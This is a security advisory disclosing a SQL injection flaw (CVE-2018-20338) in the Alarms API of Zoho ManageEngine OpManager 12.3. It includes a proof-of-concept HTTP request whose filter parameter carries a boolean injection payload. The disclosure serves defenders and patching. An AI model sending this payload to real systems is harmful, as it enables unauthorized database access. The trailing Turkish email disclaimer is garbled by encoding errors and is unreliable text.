Zoho ManageEngine OpManager 12.3 Alarms SQL Injection

`I. VULNERABILITY  
-------------------------  
Zoho ManageEngine OpManager 12.3 before build 123239 allows SQL  
injection in the Alarms section  
  
II. CVE REFERENCE  
-------------------------  
CVE-2018-20338  
  
III. VENDOR  
-------------------------  
https://www.manageengine.com  
  
IV. TIMELINE  
-------------------------  
20/11/18 Vulnerability discovered  
20/11/18 Vendor contacted  
20/12/2018 OPManager replay that they fixed  
  
V. CREDIT  
-------------------------  
Murat Aydemir from Biznet Bilisim A.S.  
  
VI. DESCRIPTION  
-------------------------  
ManageEngine OPManager product(version 12.3) was vulnerable to SQL  
Injection attacks. A successfully exploit of this attack could allow  
arbitrary code execution or unauthenticated access in databases  
information.  
References: https://www.manageengine.com/network-monitoring/help/read-me.html  
https://bugbounty.zoho.com/bb/info#hof  
  
VII. PoC  
-------------------------  
GET /api/json/alarm/listAlarms?isFluidic=true&isWebclient=true&apiKey=5f5e26abc7bf2af2a5669cf258ec8385&alertType=ActiveAlarms&sortByCategory=true&isNotes=true&_search=true&nd=1539945434261&rows=100&page=1&sortByColumn=modTime&sortByType=desc&filters=%7b%22groupOp%22%3a%22AND%22%2c%22rules%22%3a[%7b%22field%22%3a%22message%22%2c%22op%22%3a%22cn%22%2c%22data%22%3a%22test78275719'%20or%201268%3d1268--%20%22%7d]%7d&_=1539935356081  
HTTP/1.1  
Host: vulnerablehost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://vulnerablehost/apiclient/ember/index.jsp  
X-Requested-With: XMLHttpRequest  
Cookie: JSESSIONID=XXXXXXXXX; encryptPassForAutomaticSignin=XXXXXXXXX;  
userNameForAutomaticSignin=admin;  
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;  
authrule_name=Authenticator; NFA__SSO=XXXXXXXXX;  
opmcsrfcookie=XXXXXXXXX  
DNT: 1  
Connection: close  
  
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Bu mesaj ve ekleri, mesajda   
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kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj   
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ya da baAka kiAilere yAPnlendirmeyiniz ve   
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mesajA+-n iASSeriAinin ve eklerinin   
size deAiAikliAe uArayarak veya geASS   
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bilgisayar sisteminize verebileceAi   
herhangi bir zarardan sorumlu   
deAildir  
  
  
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